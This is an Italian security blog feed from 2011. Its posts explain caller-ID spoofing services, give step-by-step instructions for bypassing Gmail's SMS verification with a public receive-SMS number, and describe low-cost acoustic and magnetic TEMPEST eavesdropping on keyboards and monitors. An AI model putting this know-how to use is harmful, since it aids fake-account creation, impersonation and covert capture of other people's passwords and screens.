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	<title>Mente Digitale &#187; Sicurezza</title>
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		<title>Call Spoofing – Lo Spoofing Telefonico</title>
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		<pubDate>Fri, 09 Sep 2011 13:33:23 +0000</pubDate>
		<dc:creator>lordgroove</dc:creator>
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		<description><![CDATA[Lo Spoofing Telefonico è una tecnica che permette di falsificare il vero mittente di una chiamata oppure di un sms. E’ una tattica che può essere utilizzata da chiunque poiché su Internet ci sono centinaia di siti web  che offrono questo servizio, sia free che a pagamento. Per poterlo utilizzare, basta avere un software oppure [...]]]></description>
			<content:encoded><![CDATA[<div id='dd_ajax_float'><div class='dd_button_v'><div class='dd-google1-ajax-load dd-google1-2478'></div><g:plusone size='tall' href='http://www.mentedigitale.org/news/category/sicurezza/feed/'></g:plusone></div><div style='clear:left'></div><div class='dd_button_v'><div class='dd-linkedin-ajax-load dd-linkedin-2478'></div><script type='in/share' data-url='http://www.mentedigitale.org/news/category/sicurezza/feed/' data-counter='top'></script></div><div style='clear:left'></div><div class='dd_button_v'><div class='dd-fblike-ajax-load dd-fblike-2478'></div><iframe class="DD_FBLIKE_AJAX_2478" src='' height='0' width='0' scrolling='no' frameborder='0' allowTransparency='true'></iframe></div><div style='clear:left'></div><div class='dd_button_v'><div class='dd-twitter-ajax-load dd-twitter-2478'></div><a href="http://twitter.com/share" class="twitter-share-button" data-url="http://www.mentedigitale.org/news/category/sicurezza/feed/" data-count="vertical" data-text="Sicurezza" data-via="" ></a></div><div style='clear:left'></div></div><div class='dd_content_wrap'><p style="text-align: justify;"><strong>Lo Spoofing Telefonico</strong> è una tecnica che permette di falsificare il vero mittente di una chiamata oppure di un sms. E’ una tattica che può essere utilizzata da chiunque poiché su Internet ci sono centinaia di siti web  che offrono questo servizio, sia free che a pagamento.</p>
<p style="text-align: justify;">Per poterlo utilizzare, basta avere un software oppure un telefono VOIP o direttamente dal sito stesso.</p>
<p style="text-align: justify;">I pregi della mente contorta, per chi utilizza il servizio sono illimitati, cioè quello di poter fare uno scherzo, di deviare delle intercettazioni telefoniche, di spacciarsi per una persona che in realtà non è.</p>
<p style="text-align: justify;">Inoltre, al corredo, la maggior parte delle volte, si aggiunge un software per la modifica della voce, rendendola quasi irriconoscibile.</p>
<p style="text-align: justify;">La pirateria telefonica purtroppo, è una realtà quotidiana sottovalutata che compromette l’utilizzo delle reti di comunicazione e porta a creare varie problematiche, come disguidi tra amici, con la propria ragazza, o più in alto, conflitti aziendali e difficoltà con la giustizia.</p>
<p style="text-align: justify;"><a href="http://www.mentedigitale.org/news/wp-content/uploads/2011/09/Call_Spoofing.jpg"><img class="aligncenter size-full wp-image-2488" title="Call_Spoofing" src="http://www.mentedigitale.org/news/wp-content/uploads/2011/09/Call_Spoofing.jpg" alt="" width="584" height="476" /></a></p>
<p style="text-align: justify;">Qualche esempio:</p>
<p style="text-align: justify;"><a href="http://www.mentedigitale.org/news/wp-content/uploads/2011/09/crazycall.jpg"><img class="aligncenter size-full wp-image-2489" title="crazycall" src="http://www.mentedigitale.org/news/wp-content/uploads/2011/09/crazycall.jpg" alt="" width="600" height="356" /></a></p>
<p style="text-align: justify;">Il sito in questione è <strong>http://www.crazycall.net</strong> che oltre a permettere di falsificare il mittente, è fornito anche di un modulatore vocale; per questo l’ho chiamato con l’acronimo A.I.O (All in One).</p>
<p style="text-align: justify;">Inoltre ci sono svariati software come <strong>VoiPStunt</strong> per effettuare le chiamate (reperibile su <strong>http://www.voipstunt.com</strong>) insieme ad altri tipo <strong>MorphVOX </strong>per modificare la propria voce (reperibile su <strong>http://www.screamingbee.com</strong>).</p>
<p style="text-align: justify;"><strong>Ma come nascono questi servizi ?</strong></p>
<p style="text-align: justify;">Non so se qualcuno ha mai sentito parlare della rete SS7, (<strong>Signaling System #7, </strong>conosciuto nel continente europeo come <strong>C7</strong>), la quale racchiude vari protocolli di comunicazione per le reti telefoniche al fine di gestire chiamate e sms. Tuttavia chi ha accesso a questa rete, è in grado di fare spoofing come e quando gli pare.</p>
<p style="text-align: justify;">La classica domanda dell’utente vittima: Cosa fare per poter scoprire il colpevole ?</p>
<p style="text-align: justify;">Non c’è una risposta ben definita a questa domanda  ma si sa che “Il venirne a capo per risalire chi è il malvivente” è stata considerata un’impresa ardua.</p>
<p style="text-align: justify;">Nei peggior dei casi comunque, vi fornisco qualche indicazione su come comportarsi:</p>
<p style="text-align: justify;">1)      Denuncia alla Polizia.</p>
<p style="text-align: justify;">2)      Utilizzo del servizio Override (vi permette di vedere chi si nasconde dietro il numero privato).</p>
<p style="text-align: justify;">3)      Entrare nei panni di un Investigatore Privato per cercare di capire di chi si tratta.</p>
<p style="text-align: justify;">4)      Cambiare SIM, e fornire il tuo numero a pochi intimi.</p>
<p style="text-align: justify;"><strong>Il Firewall Telefonico (Telephone Firewall)</strong></p>
<p style="text-align: justify;">La TrustID, è un’azienda che sviluppa sistemi di autenticazione telefonica per poter aiutare le istituzioni finanziarie e imprese a combattere la minaccia dello Spoofing. Patrick Cox, CEO della TrustID, si è reso conto che il fenomeno sta crescendo esponenzialmente, e che i criminali usano questa tecnica per una variante di frodi.</p>
<p style="text-align: justify;">Ecco perché hanno sviluppato una nuova tecnologia (undetectable) chiamata <strong>Telephone Firewall</strong>, la quale permette di identificare una chiamata “<em>spoofata</em>” verificandone la sua autenticità.</p>
<p style="text-align: justify;">Il<strong> Telephone Firewall</strong> nasce come “Software come Servizio”, infatti prima che la chiamata venga risposta dal destinatario, essa arriva alla TrustID, e viene controllata. Se è spoofata, l’azienda effettuerà i dovuti controlli, altrimenti verrà semplicemente risposta.</p>
<p style="text-align: justify;">Questo FILTRO, per ora è utilizzato (meglio <em>testato</em>) solo ed esclusivamente dalle grandi banche, e aziende multinazionali. Si spera che questo servizio venga fornito al più presto al pubblico cittadino, per prevenire il fenomeno dello spoofing telefonico.</p>
<p style="text-align: justify;"><a href="http://www.mentedigitale.org/news/wp-content/uploads/2011/09/firewall.jpg"><img class="aligncenter size-full wp-image-2490" title="firewall" src="http://www.mentedigitale.org/news/wp-content/uploads/2011/09/firewall.jpg" alt="" width="482" height="241" /></a></p>
<p style="text-align: justify;"><strong>Approfondimenti su “SS7”:</strong></p>
<p style="text-align: justify;"><a href="http://www.cedi.unipr.it/links/Corsi/telematica/Materiale/dispense/Telefonia/Ss7.pdf">http://www.cedi.unipr.it/links/Corsi/telematica/Materiale/dispense/Telefonia/Ss7.pdf</a></p>
<p style="text-align: justify;"><a href="http://www.cs.utexas.edu/%7Eyzhang/teaching/cs386m-f8/Readings/ss7.pdf">http://www.cs.utexas.edu/~yzhang/teaching/cs386m-f8/Readings/ss7.pdf</a></p>
<p style="text-align: justify;"><div class="blue">Se volete contattare l&#8217;autore dell&#8217;articolo ecco il link su Facebook:<br />
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<p style="text-align: justify;"></div></p>
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</td>
</tr>
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		<title>Bypassare la verifica SMS di Gmail</title>
		<link>http://www.mentedigitale.org/news/2011/09/bypassare-la-verifica-sms-di-gmail/</link>
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		<pubDate>Thu, 08 Sep 2011 10:18:04 +0000</pubDate>
		<dc:creator>lordgroove</dc:creator>
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		<description><![CDATA[Ultimamente, mi sono imbattuto nella creazione di uno nuovo account di posta elettronica su Gmail. Ho notato che andando avanti con la registrazione, mi ha chiesto di inserire il mio numero di cellulare per l’invio di un SMS con il codice di autenticazione. Allora in questa circostanza si distinguono 2 casi: 1)      Inserisco il mio [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">Ultimamente, mi sono imbattuto nella creazione di uno nuovo account di posta elettronica su Gmail. Ho notato che andando avanti con la registrazione, mi ha chiesto di inserire il mio numero di cellulare per l’invio di un SMS con il codice di autenticazione.</p>
<p style="text-align: justify;">Allora in questa circostanza si distinguono 2 casi:</p>
<p style="text-align: justify;">1)      Inserisco il mio vero numero di cellulare</p>
<p style="text-align: justify;">2)      Bypasso la verifica dell’SMS con un numero di telefonia mobile che in realtà non esiste</p>
<p style="text-align: justify;">Procediamo innanzi tutto, ad effettuare la registrazione dell’account su <a href="http://www.google.com/">http://www.google.com</a> (non .it), e dopo aver inserito i “nostri” dati, procediamo a specificare la località in cui ci troviamo selezionando USA (United States of America).</p>
<p style="text-align: justify;">Ora, continuando con la registrazione dell’account, ci possiamo creare il nostro famigerato account GMAIL, inserendo un nome utente (es: giuliocesare@gmail.com), la password precedente durante la prima fase della creazione dell’account, il codice captcha e la classica domandina con risposta (obbligatoria) nel caso in cui perdiamo la password.</p>
<p style="text-align: justify;">Ora arriviamo al nostro bivio: Gmail ci chiede se vogliamo effettuare la verifica dell’autenticazione mediante SMS oppure con una chiamata vocale.</p>
<p style="text-align: justify;"><a href="http://www.mentedigitale.org/news/wp-content/uploads/2011/09/verify.jpg"><img class="aligncenter size-full wp-image-2470" title="verify" src="http://www.mentedigitale.org/news/wp-content/uploads/2011/09/verify.jpg" alt="" width="550" height="261" /></a></p>
<p style="text-align: justify;">Scegliamo SMS con località (USA), e decidiamo di non inserire il nostro vero numero di telefono, ma di sfruttare un numero di rete mobile virtuale. Andiamo sul sito <a href="http://freecalltrials.com/receivesmsonline/">http://freecalltrials.com/receivesmsonline/</a> , preleviamo un numero tra quelli disponibili (se al primo tentativo non funziona, riprovate con altri numeri), lo inseriamo nel form e procediamo cliccando sul pulsante “Save”. Ora ci verrà inviato il codice di conferma. Aggiorniamo la pagina (F5) dalla quale abbiam preso il numero, e vedremo il nostro codice di autenticazione.</p>
<p style="text-align: justify;"><a href="http://www.mentedigitale.org/news/wp-content/uploads/2011/09/mia2.jpg"><img class="aligncenter size-full wp-image-2471" title="mia2" src="http://www.mentedigitale.org/news/wp-content/uploads/2011/09/mia2.jpg" alt="" width="556" height="28" /></a></p>
<p style="text-align: justify;">Appena arriva il nostro “verification code”, lo inseriamo e procediamo con la conclusione della registrazione.</p>
<p style="text-align: justify;">L’articolo è stato scritto solo a scopo dimostrativo. Non mi assumo nessuna responsabilità.</p>
<p style="text-align: justify;"><div class="blue">Se volete contattare l&#8217;autore dell&#8217;articolo ecco il link su Facebook:<br />
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		<title>Sistemi di intercettazione TEMPEST – 3 di 3 “TEMPEST acustico”</title>
		<link>http://www.mentedigitale.org/news/2011/08/sistemi-di-intercettazione-tempest-%e2%80%93-3-di-3-%e2%80%9ctempest-acustico%e2%80%9d/</link>
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		<pubDate>Mon, 01 Aug 2011 16:13:35 +0000</pubDate>
		<dc:creator>William J.</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Intercettazioni non convenzionali]]></category>
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		<category><![CDATA[TEMPEST]]></category>
		<category><![CDATA[TEMPEST acustico]]></category>

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		<description><![CDATA[Dopo i sistemi magnetici e ottici, esaminiamo un&#8217;altra tipologia di intercettazione avanzata. A volte basta ascoltare che cosa dicono le testiere. Questo è il terzo di una serie di articoli (il primo, il secondo) indirizzati a dimostrare come la sicurezza che intendiamo comunemente sia di fatto distante da quella militare &#8211; e quindi quanto i [...]]]></description>
			<content:encoded><![CDATA[<div class="notice">Indice:<br />
<a href="http://www.mentedigitale.org/news/2011/07/sistemi-di-intercettazione-tempest-1-di-3-optical-tempest/">Parte 1</a> | <a href="http://www.mentedigitale.org/news/2011/07/sistemi-di-intercettazione-tempest-2-di-3-tempest-magnetico/">Parte 2</a></div>
<p>Dopo i sistemi magnetici e ottici, esaminiamo un&#8217;altra  tipologia di intercettazione avanzata. A volte basta ascoltare che cosa  dicono le testiere.</p>
<div class="blue">Come i due precedenti questo articolo lo riporto in toto da alcuni siti e documenti  scritti da un nostro autore: <a href="http://www.bernardotti.it/" target="_blank">Flavio58</a>.</div>
<p>Questo è il terzo di una serie di articoli (il <a href="http://www.mentedigitale.org/news/2011/07/sistemi-di-intercettazione-tempest-1-di-3-optical-tempest/">primo</a>, il <a href="http://www.mentedigitale.org/news/2011/07/sistemi-di-intercettazione-tempest-2-di-3-tempest-magnetico/">secondo</a>)  indirizzati a dimostrare come la sicurezza che intendiamo comunemente  sia di fatto distante da quella militare &#8211; e quindi quanto i nostri  sistemi di fatto siano sicuri anche soltanto per il fatto che non sono  oggetto d’interesse per determinate strutture. Molti delle tecnologie di  cui parliamo erano riservati ai Servizi di Stato sia per restrizioni di  legge sia per i costi proibitivi. In precedenza abbiamo visto come al  giorno d’oggi sia il Tempest magnetico sia quello ottico al giorno  d’oggi siano realizzabili con pochi soldi, meno di 2.000 dollari,  facendo sì che queste tipologie d’attacco rischino ormai di entrare nel  mondo dell’hacking povero.</p>
<p>Il Tempest magnetico indirizzato ai monitor dei computer ha un  problema: non permette di vedere le password. A questo scopo entra in  gioco un nuovo livello di tecnologia Tempest e precisamente quello <em>acustico</em>,  che prende in esame il rumore della battitura dei tasti sulla tastiera  del computer. I tasti di una tastiera possono dire molte cose: per  esempio, che cosa stiamo scrivendo e anche chi siamo. Tant&#8217;è che un  metodo poco conosciuto per identificare le persone che stanno usando un  determinato computer è legato proprio al modo di digitare sulla tastiera  (provate, per esempio, un programma come <a href="http://www.divshare.com/download/2523193-3ec">Keystroke Biometric</a>).</p>
<p>Markus Khun ha documentato diversi metodi di attacco basati su  sistemi microfonici direzionali: indirizzando il sensore verso un locale  dove un operatore sta digitando su un computer è possibile <em>sentire</em> i tasti e quindi ricostruire le sequenze di caratteri tra i quali  possono trovarsi dati importanti come password e codici di accesso. Qui  dobbiamo fare una piccola divagazione legata al concetto di microfono:  questo potrebbe essere una microspia inserita nel locale, un microfono  direzionale puntato verso i locali o meglio ancora un microfono laser.</p>
<p>Quando parliamo di Tempest ottico, di Tempest acustico e di altro  genere di Tempest ci riferiamo all’intercettazione di microeventi che  non sono rilevabili dalla percezione umana, ma che al contrario possono  essere facilmente ricevuti di da sistemi elettronici. Per restare  nell’esempio del microfono laser, dobbiamo pensare che quando produciamo  suoni all’interno di un locale questi fanno vibrare in modo  impercettibile vetri e muri intorno a noi. Se da una certa distanza  puntiamo un laser contro i vetri di una stanza, il segnale riflesso  riporterà le vibrazioni del vetro, permettendoci di sentire la voce o il  suono che ha creato l’effetto di vibrazione. Un microfono laser  professionale con filtri antidisturbi costa caro, ma uno con minori  prestazioni può essere fatto con pochissima spesa in casa propria.</p>
<p>Un microfono laser può essere fatto in casa con poca spesa, come dimostra questa serie di <a href="http://www.bernardotti.it/portal/showthread.php?t=2476">progetti</a>.  A questo punto, però, è necessario fare un appunto legato alla  procedura usata in tutte queste metodologie, in quanto gli argomenti  trattati fino ad adesso potrebbero portare chi legge a farsi idee  errate. Abbiamo detto più volte che i sistemi adatti ad effettuare  questi attacchi, grazie alle nuove tecnologie, sono a portata di  chiunque. Ma come in tutte le situazioni, budget maggiori permettono di  ottenere tecnologie di qualità migliore. Con un’attrezzatura di Tempest  magnetico fatta in casa otterremo risultati fino a 15-20 metri di  distanza, mentre le Agenzie di Stato parlano di centinaia di metri, in  virtù del fatto che i loro budget hanno come solo limite l’obiettivo che  si pongono di raggiungere. Ad ogni modo, che si spendano 1.000 dollari o  che se ne spensa un milione, le procedure non possono essere  considerate come sistemi con risultati immediati.</p>
<p>Abbiamo sempre a che fare con effetti fisici che ci permettono di  ricevere queste informazioni, sia che si tratti di emanazioni  elettromagnetiche, sia di segnali ottici, sia di segnali acustici. In  tutti i casi esiste una componente che è definita con il termine di <em>rumore ambientale</em>,  che quasi sempre degrada il segnale ricevuto. Questo fa sì che una  procedura di spionaggio debba necessariamente essere suddivisa in passi  da eseguire sequenzialmente, in locali differenti. In altre parole,  mediante l’attrezzatura utilizzata per la ricezione di un certo tipo di  segnale si registra tutto per un certo periodo di tempo. Successivamente  queste registrazioni vengono elaborate in laboratorio mediante altre  attrezzature che possono essere sistemi Dsp per l’eliminazione dei  disturbi, reti neurali utilizzate per separare il segnale originario dal  rumore ambientalee da altri tipi di congegni che spesso sono sotto  segreto militare.</p>
<p>Torniamo all’intercettazione acustica legata al modo in cui una  tastiera emette rumore in seguito alla pressione di un tasto. L’orecchio  umano, in genere, non è in grado di sentire la differenza tra il rumore  di un tasto e quelli di un altro tasto. La procedura per  l’identificazione dei tasti è la seguente. Per prima cosa si identifica  il rumore di un click nel tempo mediante un oscilloscopio e si  visualizza il suo segnale.</p>
<p><a href="http://www.mentedigitale.org/news/wp-content/uploads/2011/08/tempacu1.jpg"><img class="aligncenter size-full wp-image-2005" title="tempacu1" src="http://www.mentedigitale.org/news/wp-content/uploads/2011/08/tempacu1.jpg" alt="" width="353" height="217" /></a></p>
<p>Successivamente si visualizza la sequenza di svariati tasti.</p>
<p><a href="http://www.mentedigitale.org/news/wp-content/uploads/2011/08/tempacu2.jpg"><img class="aligncenter size-full wp-image-2006" title="tempacu2" src="http://www.mentedigitale.org/news/wp-content/uploads/2011/08/tempacu2.jpg" alt="" width="374" height="223" /></a></p>
<p>Mediante trasformazioni come la FFT (Fractional Fourier Transform) si  arriva all’estrazione dei singoli tasti e alla normalizzazione dei  segnali.</p>
<p><a href="http://www.mentedigitale.org/news/wp-content/uploads/2011/08/tempacu3.jpg"><img class="aligncenter size-full wp-image-2007" title="tempacu3" src="http://www.mentedigitale.org/news/wp-content/uploads/2011/08/tempacu3.jpg" alt="" width="387" height="328" /></a></p>
<p>Esistono procedure che permettono di estrarre le feature anche in  ambienti con più tastiere. Questo metodo d’intercettazione è importante  per quanto riguarda le password in quanto, come abbiamo già detto, gli  altri sistemi come Tempest magnetico visualizzando il contenuto del  video mostrebbe i classici asterischi.</p>
<p>Quanto costa farsi in casa uno strumento del genere? Non più di 200  dollari, considerando che l’investimento maggiore sarebbe legato  all’acquisto di un ottimo microfono con un buon rapporto  sensibilità/rumore. Il lavoro di purificazione dei suoni, invece,  potrebbe essere fatto molto semplicemente con una rete neurale, come a  esempio Fann. Le reti neurali risolvono problemiimparando da esempi: la  fase di apprendimento viene chiamata <em>training</em> ed è quella in  cui al sistema viene richiesto di creare un ipotesi di soluzione a un  quesito e successivamente, indipendentemente dalla correttezza o meno  della risposta, gli viene fornito il dato corretto. Ogni volta che la  rete neurale ipotizza una risposta e successivamente la verifica con  quella corretta, modifica il suo modo di ragionare, fino a quando un  certo modello applicato permetterà di creare sequenze di ipotesi  corrette.</p>
<p>In questo caso si dovrebbe prima insegnare alla rete neurale a  riconoscere i vari tasti di una tastiera e successivamente, passandogli  la registrazione, questa saprebbe dirci quali tasti sono stati usati.</p>
<p>Le ricerche su queste tecniche sono state eseguite in primo luogo <a href="http://www.almaden.ibm.com/">IBM</a>, oltre che dal solito Markus Khun (di fatto, il massimo luminare in quest’ambito di <a href="http://www.cl.cam.ac.uk/%7Emgk25/">ricerca</a>). Per chi vuole approfondire, ecco un po’ di documentazione utile:</p>
<ol>
<li> Sergei Skorobogatov: <em><a href="http://www.cl.cam.ac.uk/TechReports/UCAM-CL-TR-630.html">Semi-invasive attacks – A new approach to hardware security analysis</a></em>.</li>
<li> Markus G. Kuhn: <em><a href="http://www.cl.cam.ac.uk/TechReports/UCAM-CL-TR-577.html">Compromising emanations: eavesdropping risks of computer displays</a></em>.</li>
<li> Sergei P. Skorobogatov, Ross J. Anderson: <em><a href="http://www.cl.cam.ac.uk/%7Esps32/ches02-optofault.pdf">Optical Fault Induction Attacks</a></em> (<a href="http://www.cl.cam.ac.uk/%7Esps32/Optical_Slides_CHES2002.pdf">slides</a>)</li>
<li> Markus G. Kuhn: <em><a href="http://www.cl.cam.ac.uk/%7Emgk25/ieee02-optical.pdf">Optical Time-Domain Eavesdropping Risks of CRT Displays</a></em>. (<a href="http://www.cl.cam.ac.uk/%7Emgk25/emsec/optical-faq.html">FAQ</a>)</li>
<li> Samyde, Skorobogatov, Anderson, Quisquater: <em><a href="http://www.ftp.cl.cam.ac.uk/ftp/users/rja14/SISW02.pdf">On a New Way to Read Data from Memory</a></em>.</li>
<li> Sergei Skorobogatov: <em><a href="http://www.cl.cam.ac.uk/TechReports/UCAM-CL-TR-536.html">Low temperature data remanence in static RAM</a></em></li>
<li> Oliver Kömmerling, Markus G. Kuhn: <em><a href="http://www.cl.cam.ac.uk/%7Emgk25/sc99-tamper.pdf">Design Principles for Tamper-Resistant Smartcard Processors</a></em>, <a href="http://www.usenix.org/events/smartcard99/">USENIX Workshop on Smartcard Technology</a></li>
<li> Markus G. Kuhn, Ross J. Anderson: <em><a href="http://www.cl.cam.ac.uk/%7Emgk25/ih98-tempest.pdf">Soft Tempest: Hidden Data Transmission Using Electromagnetic Emanations</a></em></li>
<li> Markus G. Kuhn: <em><a href="http://computer.org/tc/tc1998/t1153abs.htm">Cipher Instruction Search Attack on the Bus-Encryption Security Microcontroller DS5002FP</a></em>.</li>
<li> Ross J. Anderson, Markus G. Kuhn: <em><a href="http://www.cl.cam.ac.uk/%7Emgk25/tamper.pdf">Tamper Resistance &#8211; a Cautionary Note</a></em>, The Second</li>
<li> Ross J. Anderson, Markus G. Kuhn: <em><a href="http://www.cl.cam.ac.uk/%7Emgk25/tamper2.pdf">Low Cost Attacks on Tamper Resistant Devices</a></em></li>
</ol>
<p>Il livello raggiunto da queste pratiche è ormai altissimo. Sergei Skorobogatov, presso l’<a href="http://www.cl.cam.ac.uk/%7Esps32/">Istituto di Fisica</a> di Mosca, ha analizzato diversi attacchi portati con il laser sulle  memorie fredde dei sistemi al fine di ricostruire le rimanenze di  informazioni presenti su queste prima dello spegnimento dell’hardware.  Un documento famoso è <a href="http://www.cl.cam.ac.uk/%7Esps32/DataRem_CHES2005.pdf">Data remanence in EPROM, EEPROM and Flash memories</a>:  dimostra che quando l’interesse legato al reperimento di certe  informazioni è veramente alto, le tecnologie utilizzabili per ottenerle  possono rasentare i limiti dell’immaginazione umana.</p>
<p>D’altra parte i sistemi elettronici funzionano tramite principi  fisici, i quali possiedono effetti collaterali che possono servire a  ottenere informazioni sui dati trattati e altre informazioni  d’interesse. Dai principi iniziali sono poi state rielaborate tecnologie  specifiche, indirizzate a migliorare gli attacchi. Per esempio, <a href="http://www.google.com/url?sa=t&amp;ct=res&amp;cd=1&amp;url=http%3A%2F%2Fwww.cs.berkeley.edu%2F%7Ezf%2Fpapers%2Fkeyboard-ccs05.pdf&amp;ei=Iv4iR_fCMqmKpASO3ZSxAg&amp;usg=AFQjCNGpmSyZh8kQIap7miZ6L5aS9wbBRQ&amp;sig2=1335tzJ8JN8nzeB0i-S_qQ">Keyboard Acoustic Emanations Revisited</a> riporta un sistema migliorati relativamente a un attacco legato ai  segnali acustici emessi dalla tastiera del computer. In Rete è possibile  vedere riproduzioni di apparati professionali utilizzati per questi  scopi, che in genere non sono in vendita in ambito civile, ma che  talvolta superano le restrizioni e finiscono in mano a chiunque.<br />
<div class="notice">Mi permetto di consigliarvi la lettura dei libri scritti da  Flavio58,  son sempre  interessanti e li vende con la formula “donazione  libera”  (in pratica lo pagate a  seconda delle vostre possibilità);  potete  trovarli sul <a href="http://www.bernardotti.it/" target="_blank">suo sito</a> personale.</div><br />
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			<wfw:commentRss>http://www.mentedigitale.org/news/2011/08/sistemi-di-intercettazione-tempest-%e2%80%93-3-di-3-%e2%80%9ctempest-acustico%e2%80%9d/feed/</wfw:commentRss>
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		</item>
		<item>
		<title>Sistemi di intercettazione TEMPEST – 2 di 3 “TEMPEST magnetico”</title>
		<link>http://www.mentedigitale.org/news/2011/07/sistemi-di-intercettazione-tempest-2-di-3-tempest-magnetico/</link>
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		<pubDate>Sun, 31 Jul 2011 10:30:15 +0000</pubDate>
		<dc:creator>William J.</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Intercettazioni non convenzionali]]></category>
		<category><![CDATA[Sicurezza]]></category>
		<category><![CDATA[Intercettazioni]]></category>
		<category><![CDATA[Onde magnetiche]]></category>
		<category><![CDATA[Schermo]]></category>
		<category><![CDATA[TEMPEST]]></category>
		<category><![CDATA[TEMPEST magnetico]]></category>

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		<description><![CDATA[In questo articolo abbiamo introdotto i sistemi di intercettazione non convenzionale denominati TEMPEST, e parlato in maniera approfondita del  &#8220; TEMPEST ottico&#8220;. Oggi tratteremo la seconda categoria: il &#8220;TEMPEST magnetico&#8220;, cioè l&#8217;intercettazione di un monitor tramite le onde elettromagnetiche che emana e della relativa ricostruzione (e visualizzazione) del contenuto. Pensavi che con un buon antivirus [...]]]></description>
			<content:encoded><![CDATA[<p><div class="notice">Indice:<br />
<a href="http://www.mentedigitale.org/news/2011/07/sistemi-di-intercettazione-tempest-1-di-3-optical-tempest/">Parte 1</a></strong> | <a href="http://www.mentedigitale.org/news/2011/08/sistemi-di-intercettazione-tempest-%e2%80%93-3-di-3-%e2%80%9ctempest-acustico%e2%80%9d/">Parte 3</a></div><br />
In <a href="http://www.mentedigitale.org/news/2011/07/sistemi-di-intercettazione-tempest-1-di-3-optical-tempest/" target="_blank"><strong>questo articolo</strong></a> abbiamo introdotto i sistemi di intercettazione non convenzionale denominati TEMPEST, e parlato in maniera approfondita del  &#8220;<strong> TEMPEST ottico</strong>&#8220;.</p>
<p>Oggi tratteremo la seconda categoria: il &#8220;<strong>TEMPEST magnetico</strong>&#8220;, cioè l&#8217;intercettazione di un monitor tramite le onde elettromagnetiche che emana e della relativa ricostruzione (e visualizzazione) del contenuto.<br />
<div class="blue"><br />
Come il precedente questo articolo lo riporto in toto da alcuni siti e documenti  scritti da un nostro autore: <a href="http://www.bernardotti.it/" target="_blank">Flavio58</a>.</div><br />
Pensavi che con un buon antivirus il computer sarebbe  stato al sicuro? Con meno di 2.000 dollari chiunque può vedere a  distanza di decine di metri quel che passa sul tuo schermo</p>
<p>Gli sviluppi di molte scienze come la fisica e la chimica hanno reso  possibile l’evoluzione di tecnologie legate al mondo dell’informatica e  dell’elettronica. La prima si basa su procedimenti che permettono di  controllare il funzionamento fisico dei circuiti elettronici, i quali  altro non fanno che elaborare segnali elettrici in base a determinate  regole seguendo certi ritmi dettati da orologi interni chiamati <em>clock</em>.  L’elettronica sfrutta a livello di chip e di componenti i principi  della fisica dei semiconduttori e in generale dell’elettricità, dalla  quale eredita indirettamente tutte le caratteristiche – compresa quella  di creare campi elettromagnetici legati alle oscillazioni dei segnali  che vengono elaborati dai circuiti.</p>
<p>Quando i computer hanno iniziato a fare parte del nostro mondo  lavorativo e domestico hanno creato un nuovo settore della tecnologia e  precisamentequello che oggi conosciamo con il termine di <em>sicurezza informatica</em>.  Questi sistemi sonoindirizzati a elaborare e mantenere memorizzate  informazioni che spesso sono riservate e quindi che devono essere  protette dalla divulgazione e dalla distribuzione non autorizzata.  L’evoluzione dei metodi di trasmissione di queste, la creazione di reti  di computer e altre tecnologie legate ai computer hanno ampliato i  problemi legati alla sicurezza, rendendo i metodi indirizzati alla  protezione più complessi e delicati.</p>
<p><strong>Orologi poco discreti</strong></p>
<p>Gli effetti collaterali dei principi fisici creano un effetto chiamato Tempest, la cui sigla sta per <em>Transmitted Electro-Magnetic Pulse/Energy Standards &amp; Testing</em>. I computer utilizzano orologi di sistema che regolano l’elaborazionedei segnali e il loro passaggio su <em>Bus</em> interni. Ad esempio, il monitor del computer utilizza due orologi che  gestiscono le tempistiche con le quali il cannone elettronicoaccende o  spegne i pixel sullo schermo, chiamati sincronismo orizzontale e  verticale. L’accensione e lo spegnimento del cannone elettronico e  queste due temporizzazioni trasformano lo schermo del sistema in una  radio trasmittente che irradia l’immagine presente in quell’istante.  Questo segnale, per tanto basso che sia, può essere ricevuto da certe  distanze e visualizzato su un altro monitor permettendo in questo modo  divedere le attività svolte da una persona.</p>
<p>Questa tecnologia è stata usata per anni dai militari, tant’è che  molte tecniche erano tenute (e certe lo sono ancora) sotto segreto.  Inoltre il ricevitore, chiamato <em>intercettore</em>, oltre a possedere  costi proibitivi era venduto solo alle agenzie di stato, per cui l’uso  pubblico era praticamente impossibile. Il settore che gestisce questo  tipo di sicurezza viene definito con il termine di Emsec e le regole da  seguire per la creazione di ambienti di lavoro sicuri sono ancora oggi  imposte e controllate dalle varie agenzie di stato (Cia, Sismi ecc.):  per esempio, un ambiente di lavoro destinato a trattare argomentazioni  particolarmente riservate deve possedere schermature Tempest, computer  schermati e filtri sulla rete elettrica. Inoltre l’uso di computer in  zone dove non sono presenti locali schermati deve avveniresotto tende  fatte appositamente per non irraggiare le emissioni elettromagnetiche.</p>
<p><a href="http://www.mentedigitale.org/news/wp-content/uploads/2011/07/tempmag1.jpg"><img class="alignleft size-full wp-image-1987" title="TEMPEST MAGNETICO" src="http://www.mentedigitale.org/news/wp-content/uploads/2011/07/tempmag1.jpg" alt="Una postazione protetta con tende da schermatura" width="300" height="225" /></a></p>
<p><strong>Un sistema di intercettazione</strong></p>
<p>Questo tipo di sicurezza è stata ignorata per diverso tempo in quanto  le attrezzature adatte a eseguire intercettazioni così complesse erano  fuori dalla portata economica della maggior parte delle persone. Negli  ultimi anni però le tecnologie più recenti hanno reso l’intercettazione  Tempest una pratica fattibile con costi inferiori ai 2.000 dollari. Ma  come è costituito un sistema di ricezione delle immagini del monitor? Un  sistema generico è composto da un antenna direttiva, da un ricevitore  che copra da 20 Mhz fino a 1 Ghz e oltre, e da due oscillatori destinati  a funzionare da sincronismo verticale e orizzontale. Possedendo un  analizzatore di spettro è possibile usarlo come ricevitore.</p>
